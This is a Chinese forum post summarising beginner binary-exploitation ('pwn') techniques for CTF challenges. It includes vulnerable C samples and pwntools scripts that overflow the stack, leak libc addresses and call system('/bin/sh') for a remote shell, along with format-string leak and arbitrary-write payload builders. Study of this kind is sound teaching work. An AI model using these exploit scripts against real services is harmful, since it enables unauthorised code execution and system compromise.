其他
PWN入门的一些总结
关于 pwn 栈溢出的一点总结。
int main(){
char buf[30] = "";
gets(buf);
return 0;
}
Xman level1题目解题脚本
import pwn
#nc pwn2.jarvisoj.com 9879
elf = ELF('./level3')
write_addr = elf.symbols['write']
read_addr = elf.symbols['read']
print(read_addr)
#raw_input()
start_addr = 0x8048350
#level3 = process('./level3')
#level3 = remote('111.198.29.45',42153)
level3 = remote('pwn2.jarvisoj.com',9879)
def leak(address):
data = level3.recv(7) #这里要特别注意,如果之后每次的跳转是start_addr,那么每次重新执行,都会接受到输出,如果忽略这里,很容易报错。
print (data)
payload = 'A' * 140
payload += p32(write_addr)
payload += p32(start_addr)
payload += p32(1)
payload += p32(address)
payload += p32(4)
level3.send(payload)
leak = level3.recv(4)
data = u32(leak)
print(hex(data))
#print(leak)
return leak
d = pwn.DynELF(leak,elf=ELF('./level3'))
system = d.lookup('system','libc')
data = level3.recv(7)
print ("data is ",data)
#bss_addr = elf
bss_addr = elf.bss()
pop_addr = 0x8048519
payload = 'A' * 140
payload += p32(read_addr)+p32(pop_addr)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(8)
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(bss_addr)
level3.sendline(payload)
#payload = '/bin/sh\x00'
#level3.sendline(payload)
level3.sendline('/bin/sh\x00')
#print(system)
level3.interactive()
pop eax,#系统调用号 execve为0x0
pop ebx,#第一个参数/bin/sh
pop ecx,#第二个参数0
pop edx,#第三个参数0
int 0x80,#执行系统调用
#我们可以首先通过 objdump -R level2 来查看level调用的got表
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT read
0804a004 R_386_JUMP_SLOT __gmon_start__
0804a008 R_386_JUMP_SLOT __libc_start_main
0804a00c R_386_JUMP_SLOT write
往往不会调用system函数,所以我们可以通过write或者read来泄露出在libc中的system的地址,从而实现调用。
real_write_addr - libc_write_addr = real_system_addr - libc_system_addr
### 本脚本摘自 一步一步学ROP之linux_x86篇 – 蒸米
#!python
#!/usr/bin/env python
from pwn import *
libc = ELF('libc.so')
elf = ELF('level2')
#p = process('./level2')
p = remote('127.0.0.1', 10003)
plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
print "\n###sending payload1 ...###"
p.send(payload1)
print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)
print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
print "\n###sending payload2 ...###"
p.send(payload2)
p.interactive()
>>>> 格式化字符串栈指定位置泄露(泄露栈内存)
格式化字符串栈指定位置泄露(泄露栈内存)
int login(long long password)
{
char buf[0x10] = {0};
long long your_pass;
scanf("%15s", buf);
printf(buf);
printf("\n");
scanf("%lld", &your_pass);
return password == your_pass;
}
int main()
{
long long password;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
srand(time(NULL));
password = rand();
if(login(password))
{
system("/bin/sh");
}
{
printf("Failed!\n");
}
return 0;
}
>>>> 格式化字符串泄露任意地址值(泄露任意地址内存)
格式化字符串泄露任意地址值(泄露任意地址内存)
scanf_addr = leakmory.got['__isoc99_scanf']
payload = p32(scanf_addr)+"%n$s" #此处n为第几个参数
>>>> 格式化栈位置写(覆盖栈内存)
格式化栈位置写(覆盖栈内存)
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
>>>> 格式化字符串任意地址写
格式化字符串任意地址写
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
>>>> 堆栈保护机制总结
堆栈保护机制总结
看雪ID:seana
https://bbs.pediy.com/user-797559.htm
推荐文章++++
* Metasploit BlueKeep漏洞利用模块简要分析